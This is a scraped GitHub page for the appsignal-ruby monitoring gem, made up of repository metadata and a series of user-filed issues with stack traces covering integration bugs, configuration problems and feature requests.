appsignal / appsignal-ruby Goto Github PK

View Code? Open in Web Editor NEW

173.0 8.0 113.0 6.4 MB

🟥 AppSignal for Ruby gem

Home Page: https://www.appsignal.com/ruby

License: MIT License

Ruby 97.23% C 2.44% HTML 0.12% Shell 0.21%

appsignal error-monitoring performance-monitoring custom-instrumentation ruby host-metrics rails apm metrics monitoring

appsignal-ruby's People

Stargazers

Watchers

Forkers

marten peterberkenbosch idyll vid-io andremedeiros barttenbrinke markijbema dhiemstra martijnrusschen johnkoht willianvdv tijmenb derkobe filipegiusti madglory subvisual saturnflyer timonv q-m spnkr codefarmdev hamptonmakes pelf karsthammer saulcosta 1st8 stijnster jeromegn alextk liamnoone dennisvdvliet gerbal jeroenvisser101 wtfiwtz devex jsmpereira arempe93 achempion matrinox schwad klotzandrew feedbackfruits kjeldahl rmachielse proctoru brandon-media poeblu dwilkins razenha sturdyco slopy mfazekas cristianbica sega bobmaerten benedikt ifsc01 mbirman homestaytravel taverngoal goldstar independentip joshbeckman joris groguelon rrodoli tombruijn sajan45 pixeltrix apptegy holamendi grk jeljer-te-wies alanhala cam-benfield asccigcc tulak wicky-andrian adreform jjb jclusso manuelmeurer maltesa isabella232 tomascco eazybi lukel97 stefanvermaas matthewford hsbt jotolo healthie ricardotrindade thatch-health chrdueholm iq-scm felipemaier nourishcare-public bdewater-thatch olivier-thatch

appsignal-ruby's Issues

`NoMethodError: undefined method `complete!' for #<Appsignal::Transaction:0x00000010452148>`

We are running the beta gem:

deployment@worker1:~/our-app/current$ cat Gemfile.lock |grep appsignal
    appsignal (0.12.beta.31)
  appsignal (~> 0.12.beta)

It's been working great so far.

Unfortunately, when we wrap our rake tasks in Rake.appsignal_exception_handling, this exception gets throw:

NoMethodError: undefined method `complete!' for #<Appsignal::Transaction:0x00000010452148>
~our-app/releases/20150909145922/lib/rake_helper.rb:19:in `appsignal_exception_handling'
...

Is there a method missing in the beta gem that used to be in the old? What do we need to do to fix?

ActiveJobs are all wrapped into one unique report

Hey guys!

On our AppSignal reports, all of our Sidekiq jobs are being reported under an ActiveJob wrapper:
ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper

Any way to fix that?

Arnaud

Sanitization of request is called in Sidekiq process

env seems to be null in Transaction.rb in Sidekiq

NoMethodErrorundefined method `[]' for nil:NilClass
vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/request.rb:36session
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/transaction.rb:173sanitize_session_data!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/transaction.rb:149add_sanitized_context!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/transaction.rb:102convert_values_to_primitives!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/aggregator.rb:54pre_process_slowness!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/aggregator.rb:20add
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/agent.rb:61enqueue
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal.rb:53enqueue
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/transaction.rb:120complete!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.8.3.beta.0/lib/appsignal/integrations/sidekiq.rb:25call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124block in invoke
vendor/bundle/ruby/2.0.0/gems/newrelic_rpm-3.6.8.168/lib/new_relic/agent/instrumentation/sidekiq.rb:25block in call
vendor/bundle/ruby/2.0.0/gems/newrelic_rpm-3.6.8.168/lib/new_relic/agent/instrumentation/controller_instrumentation.rb:324perform_action_with_newrelic_trace
vendor/bundle/ruby/2.0.0/gems/newrelic_rpm-3.6.8.168/lib/new_relic/agent/instrumentation/sidekiq.rb:21call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124block in invoke
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124block in invoke
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/active_record.rb:6call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124block in invoke
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/retry_jobs.rb:62call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124block in invoke
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/logging.rb:11block in call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/logging.rb:22with_context
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/logging.rb:7call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124block in invoke
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:127call
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:127invoke
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:48block (2 levels) in process
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:105stats
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:47block in process
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:86do_defer
vendor/bundle/ruby/2.0.0/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:37process
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/calls.rb:25public_send
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/calls.rb:25dispatch
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/calls.rb:122dispatch
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/actor.rb:322block in handle_message
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/actor.rb:416block in task
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/tasks.rb:55block in initialize
vendor/bundle/ruby/2.0.0/gems/celluloid-0.15.2/lib/celluloid/tasks/task_fiber.rb:13block in create

error with CLI `appsignal notify_of_deploy`

Hi,

I'm using the notify_of_deploy to make a deploy on Appsignal, but when I try to make a deploy to prod enviroment it's create a new project with the same name but with 'pro' ENV.

Here the command line that I'm using:

appsignal notify_of_deploy --revision="038bbcc" --user="Marcio Trindade" --environment="prod" --name="Locaweb Backup"

The output is

I, [2015-07-16T17:05:36.624286 #53630]  INFO -- : Notifying Appsignal of deploy with: revision: 038bbcc, user: Marcio Trindade
I, [2015-07-16T17:05:38.027420 #53630]  INFO -- : Appsignal has been notified of this deploy!

and here the result at AppSignal

DelayedJob Monitoring Infinite Loop in development environment

Hi,

I'm running the latest version of the gem.

My jobs end up in an infinte loop after although job's perform is completed.
Stepping with the debugger, I noticed that this loop happens in the monitoring code of Appsignal.
Here is an abbreviated version of the stack trace, just to explain the situation:

Appsignal::Transaction.sanitized_session_data
...
Appsignal::Transaction.complete
Appsignal::Transaction::complete_current
...

Basically, once the job is complete and Appsignal is called to complete the "monitoring transaction", it tries to retrieve session data, which is not available in a background job, in the second line of the method body (return unless session = request.session), which calls ActionDispatch::TestProcess.session that ends up in an infinte loop for some reason I didn't manage to figure out.

    def sanitized_session_data
      return if Appsignal.config[:skip_session_data] || !request.respond_to?(:session)
      return unless session = request.session
      Appsignal::ParamsSanitizer.sanitize(session.to_hash)
    end

What should I do?
Is it possible to temporarily disable background monitoring?

Thanks!

P.S.: tomorrow morning I'll try with a simple job just in case to verify that it's not something related to my code.

Don't send queue on shutdown if it's empty

Basic Rack integration broken? Documentation outdated

Hey,

I am currently in the process of setting Appsignal up in a plain Rack application.
Having done this before, I wanted to use the latest appsignal version this time.
This is when I noticed, that your documentation on http://docs.appsignal.com/getting-started/supported-frameworks.html#rack-other is using the old, now unavailable, Appsignal::Rack::Listener and Appsignal::Rack::Instrumentation middlewares.

By looking at the source code, I quickly found the potential successor Appsignal::Rack::StreamingListener, which I added instead of the middlewares named above.

Now I am facing another problem, my request errors are not being sent to Appsignal, despite having a working configuration (Appsignal.active? is true and Appsignal.send_exception works).
I even added an error catching middleware AFTER the Appsignal::Rack::StreamingListener to confirm my errors are passing through it.
Since my application is in no way delivering a streaming response, I suspect that the middleware is not suited or even broken for my use case.

What do you think?

Cheers
Christoph

Configure pid folder

Hi,

It would be great to be able to configure pid file in config yml file.

For example, my deployment SaaS does not define write access on /app/tmp/

Regards,

`add_exception` is gone in the agent branch

It's now set_exception this breaks people's integration with us. we should probably alias add_exception to set_exception :)

Missing config causes exception in Appsignal::IPC.forked!, which kills all resque jobs

Hi,
setup is rails 4.2 with resque integration. The problem is that we made a stupid small mistake and did not provide the configuration properly (with typo). Hence, for appsignal there wasn't any configuration.

But the consequence turned out to be quite bad.
Appsignal::IPC.forked! tries to call stop_thread on Appsignal.agent, which is nil as it is only set when a config is present. That in turn stops the (all!) jobs from working/respawning at all with an exception.

I'd expected that we - naturally - wouldn't receive any signals, but that the job framework is killed is a rather harsh consequence :).

Cheers
SH

Permission issue when AppSignal logs to /tmp/appsignal.log

On a few of our projects we deploy with a different user (deploy) than the application background user (app). Depending on who created the file last either deployment or booting the app fails unless we make sure to keep the log file around with the proper permissions.

Errno::EACCES: Permission denied @ rb_sysopen - /tmp/appsignal.log

I believe there are a number of things wrong here, in descending importance.

AppSignal should never crash my application
When used in Rails, AppSignal should not log outside of the Rails root unless explicitly instructed to do so
When creating temporary log files AppSignal should probably rely on Tempfile, which does the correct (and more secure) thing for each operating system

irb(main):001:0> require 'tempfile'
=> true
irb(main):002:0> Tempfile.open('appsignal') { |f| p f }
#<Tempfile:/tmp/appsignal20160914-5220-1clpiid>
=> #<Tempfile:/tmp/appsignal20160914-5220-1clpiid>

Capistrano install should add require to Capfile

Currently that's being done to the deploy.rb file, but it should instead add it to the Capfileas that's where, in Capistrano, all the files are required.

https://app.intercom.io/a/apps/yzor8gyw/inbox/conversation/5889351579

I've personally always added the appsignal require to the Capfile instead of deploy.rb and experienced no problems.

Faraday request with middleware instrumentation enabled throws an error

NoMethodError while sending queue: undefined method each' for #<String:0x007f818a392b10> /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/middleware/delete_blanks.rb:6:incall'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/middleware/chain.rb:81:in block in invoke' /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/middleware/chain.rb:84:incall'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/middleware/chain.rb:84:in invoke' /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/post_processor.rb:13:inblock (2 levels) in post_processed_queue!'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/post_processor.rb:12:in each' /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/post_processor.rb:12:inblock in post_processed_queue!'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/post_processor.rb:11:in map' /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator/post_processor.rb:11:inpost_processed_queue!'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/aggregator.rb:42:in post_processed_queue!' /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/agent.rb:115:insend_queue'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/agent.rb:42:in block (2 levels) in start_thread' /Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/agent.rb:40:inloop'
/Users/dev/.rvm/gems/ruby-2.2.0@influitive/gems/appsignal-0.11.8/lib/appsignal/agent.rb:40:in `block in start_thread'

Here is a code to make a http request using Faraday. if you have fa.use :instrumentation enabled, it will throw the above error.

     Faraday.new(options) do |fa|
        fa.use :instrumentation

        # Note the current Faraday (0.8.7) doesn't support options on retry (such as exceptions)
        # wait for the upgrade...
        fa.request :retry#, exceptions: [Faraday::Error::ConnectionFailed, Errno::ETIMEDOUT, Timeout::Error, Faraday::Error::TimeoutError]
        fa.request :url_encoded
        fa.request :json

        fa.response :json, content_type: /\bjson$/
        fa.adapter :net_http
      end

The payload is a string-ified Faraday object, whereas AppSignal expects the payload to a Hash

[0.12.rc.0] Invalid pointer

Hello

Upgraded to RC yesterday, unfortunatelly after few hours we ended up with:

*** glibc detected *** unicorn master -c <current path>/config/unicorn.rb -E deployment -D: free(): invalid pointer: 0x000000000b5a0e10 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x75be6)[0x7f5ef4cbcbe6]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x6c)[0x7f5ef4cc198c]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0x25a19)[0x7f5eec285a19]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0x2c787)[0x7f5eec28c787]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0x5d4c9)[0x7f5eec2bd4c9]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0x118e7)[0x7f5eec2718e7]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0x2ea05)[0x7f5eec28ea05]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0x5d4c9)[0x7f5eec2bd4c9]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(appsignal_stop+0x7b)[0x7f5eec28e94b]
<rvm>/gems/appsignal-0.12.rc.0/lib/appsignal_extension.so(+0xf4d9)[0x7f5eec26f4d9]
<rvmruby>/lib/libruby.so.2.1(+0x1b4300)[0x7f5ef5c67300]
<rvmruby>/lib/libruby.so.2.1(+0x1c0d25)[0x7f5ef5c73d25]
<rvmruby>/lib/libruby.so.2.1(+0x1b93e2)[0x7f5ef5c6c3e2]
<rvmruby>/lib/libruby.so.2.1(+0x1bdb3a)[0x7f5ef5c70b3a]
<rvmruby>/lib/libruby.so.2.1(rb_iseq_eval+0x17e)[0x7f5ef5c7726e]
<rvmruby>/lib/libruby.so.2.1(+0x81bd4)[0x7f5ef5b34bd4]
<rvmruby>/lib/libruby.so.2.1(+0x82822)[0x7f5ef5b35822]
<rvmruby>/lib/libruby.so.2.1(+0x1b4300)[0x7f5ef5c67300]
<rvmruby>/lib/libruby.so.2.1(+0x1c0d25)[0x7f5ef5c73d25]
<rvmruby>/lib/libruby.so.2.1(+0x1b93e2)[0x7f5ef5c6c3e2]
<rvmruby>/lib/libruby.so.2.1(+0x1bdb3a)[0x7f5ef5c70b3a]
<rvmruby>/lib/libruby.so.2.1(rb_iseq_eval_main+0x1d5)[0x7f5ef5c77495]
<rvmruby>/lib/libruby.so.2.1(+0x7cb3a)[0x7f5ef5b2fb3a]
<rvmruby>/lib/libruby.so.2.1(ruby_exec_node+0x1d)[0x7f5ef5b3193d]
<rvmruby>/lib/libruby.so.2.1(ruby_run_node+0x1c)[0x7f5ef5b33f6c]
unicorn master -c <current path>/config/unicorn.rb -E deployment -D[0x40090b]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x7f5ef4c65ead]
unicorn master -c <current path>/config/unicorn.rb -E deployment -D[0x400939]

Tested with Ruby 2.2.3 & Ruby 2.1.7 on few different machines, Debian.

Let me know if you need any more details 😁

Cheers <3

Issue when using the stripe_event gem

Hi!

I'm running into an issue using the stripe_event gem. The gem provides an endpoint for webhooks from Stripe. In order to validate them, it also re-fetches the events via the Stripe API. This is slow and triggers the slow transaction monitoring of the appsignal gem. Unfortunately something breaks, apparently while preprocessing some object of the stripe-ruby gem.

app2 method=POST path=/stripe/endpoint/ format=xml controller=stripe_event/webhook action=event status=200 duration=1313.95
app2 
app2 NoMethodError (Cannot set id on this object. HINT: you can't set: api_key, id):
app2   appsignal (0.10.2) lib/appsignal/transaction.rb:120:in `block (2 levels) in convert_values_to_primitives!'
app2   appsignal (0.10.2) lib/appsignal/transaction.rb:119:in `block in convert_values_to_primitives!'
app2   appsignal (0.10.2) lib/appsignal/transaction.rb:118:in `map'
app2   appsignal (0.10.2) lib/appsignal/transaction.rb:118:in `convert_values_to_primitives!'
app2   appsignal (0.10.2) lib/appsignal/aggregator.rb:61:in `pre_process_slowness!'
app2   appsignal (0.10.2) lib/appsignal/aggregator.rb:20:in `add'
app2   appsignal (0.10.2) lib/appsignal/agent.rb:88:in `enqueue'
app2   appsignal (0.10.2) lib/appsignal.rb:73:in `enqueue'
app2   appsignal (0.10.2) lib/appsignal/transaction.rb:151:in `complete!'
app2   appsignal (0.10.2) lib/appsignal/transaction.rb:26:in `complete_current!'
app2   appsignal (0.10.2) lib/appsignal/rack/listener.rb:24:in `call_with_appsignal_monitoring'
app2   appsignal (0.10.2) lib/appsignal/rack/listener.rb:11:in `call'
app2 
app2

The NoMethodError is triggered by this line in the stripe-ruby gem: https://github.com/stripe/stripe-ruby/blob/4aed61af42df22d77106558354bd2f5370c04e06/lib/stripe/stripe_object.rb#L168
Apparently the appsignal gem tries to modify a Stripe::StripeObject instance.

I tried to further debug the issue, but couldn't figure out what's going on.

Make installation automatable

Hello,

Right now when I run bundle exec appsignal install $APPSIGNAL_KEY it asks me a bunch of questions that we'd like Ops to handle and not Devs (especially in the case of many apps).

However bundle exec appsignal install --help does not offer an option to do this via flags or environment variables, and reading install.rb I don't think it is possible at all for now.

Would you consider adding flags to the install action (or reading env vars, whatever works for you)?

Regards

Handled sinatra errors being reported to Appsignal

In Sinatra, env['sinatra.error'] is set when an error is encountered. However, this is never unset by Sinatra. The result is that all errors are sent to appsignal, including the handled ones.

This is difficult to work around, as unsetting env['sinatra.error'] causes some error handlers (example: not_found to be run twice. (Sinatra does not expect you to unset this variable).

IMO, the fix is to remove this line from the Appsignal agent, and recommend users put enable :raise_errors in their Sinatra app. This will ensure that unhandled exceptions are raised, and subsequently caught, by the Appsignal agent.

There's no way (as far as I know) to figure out whether raise_errors is on for any particular app. So something like this wouldn't work: transaction.set_error(env['sinatra.error']) if env['sinatra.error'] && !raise_errors

Add Hanami support

We've had a few customers ask about supporting Hanami (http://hanamirb.org/)

Support Hanami 2.0. It's now available as release candidate 1.

⚠️ Old issue content from 2016-2017:

Hanami Controller

Hanami is split out in a few different projects, one of them is Hanami-Controller, it has a section about error handling: https://github.com/hanami/controller#exceptions-management

It looks like it does error handling on its own:
https://github.com/hanami/controller/blob/master/lib/hanami/controller/configuration.rb#L113

@tombruijn: Since we received PR #322 we need to look at what steps we need to take to merge this in

TODO

Review if the approach in PR #322 with middleware is the best approach (0.5 days)
Rewrite tests (0.5-0.75 days)
- Use transaction.to_hsee PR #322 for detailed description of rewrite needed
- Convert from unit testing to more integration testing than just unit testing (by which I mean, do not just unit test the middleware, but unit test it through/with a real Hanami app. Something which I improved in our Grape integration specs recently.)
Add Hanami integration documentation (0.25-0.5 days)
Set up an example app on https://github.com/appsignal/appsignal-examples (0.5-0.75 days)
- Test basic single app integration
- Test multi app integration
- Test other edge cases described in documentation
  - For example: namespaces (as these were a problem to support in Grape #189 )

Sanitize YAML serialized attribute values

ActiveRecordSanitizer doesn't properly sanitize YAML serialized values at the moment, so potentially sensitive data could be sent to AppSignal.

I'd rather see this addressed in the gem, but if you think this is too specific please let me know so I can work around it.

Can't complete transactions when AppSignal should not be active

In our test environment, Appsignal is not active. However, if we try to test this class:

class CronJob
  include Roqua::Logging

  def initialize(options = {})
    @options = options
  end

  def self.run
    Appsignal::Transaction.create(SecureRandom.uuid, {organization: Settings.organization})

    ActiveSupport::Notifications.instrument('perform_job.cron',
                                            class: self.class.name,
                                            method: 'run',
                                            queue_time: 0.0) do
      self.new.run
    end
  rescue Exception => e
    unless Appsignal.is_ignored_exception?(exception)
      Appsignal::Transaction.current.add_exception(exception)
    end
  ensure
    Appsignal::Transaction.current.complete!
  end
end

We run into the following issue:

     Failure/Error: CronJob.run
     NoMethodError:
       undefined method `enqueue' for nil:NilClass
     # /Users/marten/.gem/ruby/2.1.1/gems/appsignal-0.8.7/lib/appsignal.rb:54:in `enqueue'
     # /Users/marten/.gem/ruby/2.1.1/gems/appsignal-0.8.7/lib/appsignal/transaction.rb:125:in `complete!'

Problem seems to be that if the YAML-file specifies: test:\nactive: false, such that Appsignal.active? == false, then Appsignal.start never gets called, and thus there is no Agent present.

I believe I did do everything according to the docs. Not sure where the issue is.

uninitialized constant Rails

Hi,

Just integrated AppSignal gem as written in instruction and it breaks our deploy:

...
-----> Build finished
-----> Moving build to releases/7
$ mv "$build_path" "$release_path"
-----> Updating the current symlink
$ ln -nfs "$release_path" "current"
-----> Launching
$ cd "$release_path"
uninitialized constant Rails
(erb):3:in `<main>'
/usr/local/rvm/rubies/ruby-2.2.1/lib/ruby/2.2.0/erb.rb:863:in `eval'
/usr/local/rvm/rubies/ruby-2.2.1/lib/ruby/2.2.0/erb.rb:863:in `result'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/config.rb:77:in `load_config_from_disk'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/config.rb:30:in `initialize'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/cli.rb:44:in `new'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/cli.rb:44:in `config'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/cli.rb:123:in `validate_active_config'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/cli.rb:96:in `notify_of_deploy'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/lib/appsignal/cli.rb:25:in `run'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/gems/appsignal-0.11.12/bin/appsignal:7:in `<top (required)>'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/bin/appsignal:23:in `load'
/var/www/baby/releases/7/vendor/bundle/ruby/2.2.0/bin/appsignal:23:in `<main>'
! ERROR: Deploy failed.
-----> Cleaning up build
Deleting release
$ rm -rf "$release_path"
Unlinking current
$ ln -nfs "$previous_path" "current"
$ rm -f "deploy.lock"
OK
Connection to 52.18.217.157 closed.

!     Command failed.
      Failed with status 4864

We use gem mina instead of capistrano. Rails 4.2.3, Ruby 2.2.1. Had to remove integration while figure out why it breaks the deploy.

Removing ActionDispatch::RemoteIp middleware crashes application when using AppSignal

Adding the following to your application crashes makes appsignal crash your application without much explanation why.

# config/application.rb
config.middleware.delete ActionDispatch::RemoteIp

/Users/tom/.gem/ruby/2.3.1/gems/actionpack-4.2.5/lib/action_dispatch/middleware/stack.rb:125:in `assert_index': No such middleware to insert before: ActionDispatch::RemoteIp (RuntimeError)

What we should do is:

check if the middleware is present before adding ourself to the middleware stack based on it.
have fallbacks on other middleware or find another way to load middleware in the right place in the stack

Maybe pick up with #159? If we instrument all the middleware and are at the very front of the stack this isn't an issue.

As reported in: https://app.intercom.io/a/apps/yzor8gyw/inbox/conversation/5983896759

License missing from gemspec

RubyGems.org doesn't report a license for your gem. This is because it is not specified in the gemspec of your last release.

via e.g.

spec.license = 'MIT'
# or
spec.licenses = ['MIT', 'GPL-2']

Including a license in your gemspec is an easy way for rubygems.org and other tools to check how your gem is licensed. As you can imagine, scanning your repository for a LICENSE file or parsing the README, and then attempting to identify the license or licenses is much more difficult and more error prone. So, even for projects that already specify a license, including a license in your gemspec is a good practice. See, for example, how rubygems.org uses the gemspec to display the rails gem license.

There is even a License Finder gem to help companies/individuals ensure all gems they use meet their licensing needs. This tool depends on license information being available in the gemspec. This is an important enough issue that even Bundler now generates gems with a default 'MIT' license.

I hope you'll consider specifying a license in your gemspec. If not, please just close the issue with a nice message. In either case, I'll follow up. Thanks for your time!

Appendix:

If you need help choosing a license (sorry, I haven't checked your readme or looked for a license file), GitHub has created a license picker tool. Code without a license specified defaults to 'All rights reserved'-- denying others all rights to use of the code.
Here's a list of the license names I've found and their frequencies

p.s. In case you're wondering how I found you and why I made this issue, it's because I'm collecting stats on gems (I was originally looking for download data) and decided to collect license metadata,too, and make issues for gemspecs not specifying a license as a public service :). See the previous link or my blog post about this project for more information.

Sinatra apps mounted in Rails don't set the correct root_path

Problem found in our test-setups repo in the Rails application.

Sinatra will return the config directory as the root directory if mounted in a Rails application:

appsignal-ruby/lib/appsignal/integrations/sinatra.rb

Line 8 in b11b947

app_settings.root || Dir.pwd,

$ app_settings.root
# => "/Users/tom/appsignal/tests/applications/rails/config"

Not sure why it thinks the config dir is its root dir.

This causes the Sinatra integration to not load in the Sinatra application.

Workaround would be to set the root directory in the sinatra application manually.

NoMethodError while sending queue: undefined method `each` for #<String>

I, [2015-08-07T17:13:24.289048 #27844]  INFO -- : Loading Rails (4.1.8) integration
I, [2015-08-07T17:13:25.168467 #27844]  INFO -- : Starting AppSignal 0.11.9 on 2.1.5/x86_64-linux
I, [2015-08-07T17:13:25.172209 #27844]  INFO -- : Loading Passenger integration
I, [2015-08-07T17:13:25.176199 #27844]  INFO -- : Loading Sidekiq integration
I, [2015-08-07T17:13:25.182180 #27844]  INFO -- : Started Appsignal agent
I, [2015-08-07T17:13:29.061251 #27957]  INFO -- : Forked worker process
E, [2015-08-07T17:14:02.158304 #27957] ERROR -- : NoMethodError while sending queue: undefined method `each' for #<String:0x00000009cb7da8>
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/middleware/delete_blanks.rb:6:in `call'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/middleware/chain.rb:81:in `block in invoke'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/middleware/chain.rb:84:in `call'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/middleware/chain.rb:84:in `invoke'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/post_processor.rb:13:in `block (2 levels) in post_processed_queue!'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/post_processor.rb:12:in `each'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/post_processor.rb:12:in `block in post_processed_queue!'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/post_processor.rb:11:in `map'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator/post_processor.rb:11:in `post_processed_queue!'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/aggregator.rb:42:in `post_processed_queue!'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/agent.rb:115:in `send_queue'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/agent.rb:42:in `block (2 levels) in start_thread'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/agent.rb:40:in `loop'
/var/www/app/shared/bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/agent.rb:40:in `block in start_thread'

Appsignal.send_exception triggers a NoMethodError if the input is not an error

See: https://gist.github.com/ianks/6ac1a1f43ae1f91c2697

Transaction events array growth not limited - out of memory error

Hi Appsignal,

setup Rails 4.2, Resque, Appsignal 0.11.11 -
another problem we experienced with the Appsignal::Transaction class (see #56) is that it collects unbounded information about what is going on in the worker.
We have a few jobs among hundreds that do quite a lot of statistical stuff over all users or articles etc, which reliably consume a lot of memory. The problem is that the jobs themselves do not have this massive memory footprint at all but the Appsignal instrumentation that gathers information about the jobs has.

We have to clear the Appsignal::Transaction events array from now and then in job itself. As stated in #56 even if we have enough memory for all events, we have to clear the events array anyway to avoid the DRbConnError caused by the drbunix load_limit in the referenced issue.

Cheers
Bastian

Unable to use ENV var for API key in multiple environments

https://github.com/appsignal/appsignal/blob/master/lib/appsignal/config.rb#L84-L92

    def used_unique_api_keys
      keys = configurations.each_value.map { |config| config[:api_key] }.compact
      if keys.uniq.count < keys.count
        carefully_log_error('Duplicate API keys found in appsignal.yml')
        false
      else
        true
      end
    end

This does not take into account someone using the following config file

---
development:
  active: false
production:
  api_key: "<%= ENV['APPSIGNAL_API_KEY'] %>"
  active: true
  ignore_exceptions:
    - ActiveRecord::RecordNotFound
    - ActionController::RoutingError
staging:
